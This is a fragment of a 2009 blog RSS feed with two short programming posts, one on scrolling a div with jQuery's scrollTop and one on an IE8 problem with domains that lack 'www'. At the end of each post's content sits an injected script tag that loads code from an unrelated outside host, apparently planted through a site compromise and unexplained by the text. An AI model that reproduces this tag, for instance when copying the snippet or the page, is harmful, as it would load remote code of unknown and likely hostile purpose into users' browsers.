		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>how to scroll down a div with overflow</title>
		<link>http://blog.valugi.ro/2009/07/28/how-to-scroll-down-a-div-with-overflow/</link>
		<comments>http://blog.valugi.ro/2009/07/28/how-to-scroll-down-a-div-with-overflow/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 15:00:42 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[scrollDown]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=292</guid>
		<description><![CDATA[I was doing a javascript chat application and I got this css/javascript problem of keeping the last entry in the box visible. How nice is to find that your favourite jS library already thought of that. Docs: https://developer.mozilla.org/en/DOM/element.scrollTop http://docs.jquery.com/CSS/scrollTop $(document).ready( function (){ // it will scroll down the double of the div's height // you [...]]]></description>
			<content:encoded><![CDATA[<p>I was doing a javascript chat application and I got this css/javascript problem of keeping the last entry in the box visible.<br />
How nice is to find that your favourite jS library already thought of that.</p>
<p>Docs:<br />
<a href="https://developer.mozilla.org/en/DOM/element.scrollTop">https://developer.mozilla.org/en/DOM/element.scrollTop</a><br />
<a href="http://docs.jquery.com/CSS/scrollTop">http://docs.jquery.com/CSS/scrollTop</a></p>
<p><code class='javascript'><br />
    $(document).ready( function (){<br />
        // it will scroll down the double of the div's height<br />
        // you can change it with any value<br />
        $("#scroller").scrollTop( $("#scroller").height() * 2 );<br />
    });<br />
</code></p>
<p>Demo:<br />
<a href="http://dev.valugi.ro/jquery/scroll-down/">http://dev.valugi.ro/jquery/scroll-down/</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/07/28/how-to-scroll-down-a-div-with-overflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE8 no WWW error</title>
		<link>http://blog.valugi.ro/2009/07/01/ie8-no-www-error/</link>
		<comments>http://blog.valugi.ro/2009/07/01/ie8-no-www-error/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 16:16:58 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[nowww]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=273</guid>
		<description><![CDATA[In IE8 the links that don&#8217;t have the subdomain www don&#8217;t resolve correctly. For example www.valugi.ro works and valugi.ro is not working and not showing any specific error. It just hangs indefinitely. I recommend changing the .htaccess file in the root of your domain according to specifications of nowww.]]></description>
			<content:encoded><![CDATA[<p>In IE8 the links that don&#8217;t have the subdomain <strong>www</strong> don&#8217;t resolve correctly.</p>
<p>For example www.valugi.ro works and valugi.ro is not working and not showing any specific error. It just hangs indefinitely.<br />
I recommend changing the .htaccess file in the root of your domain according to specifications of <a href="http://no-www.org/">nowww</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/07/01/ie8-no-www-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
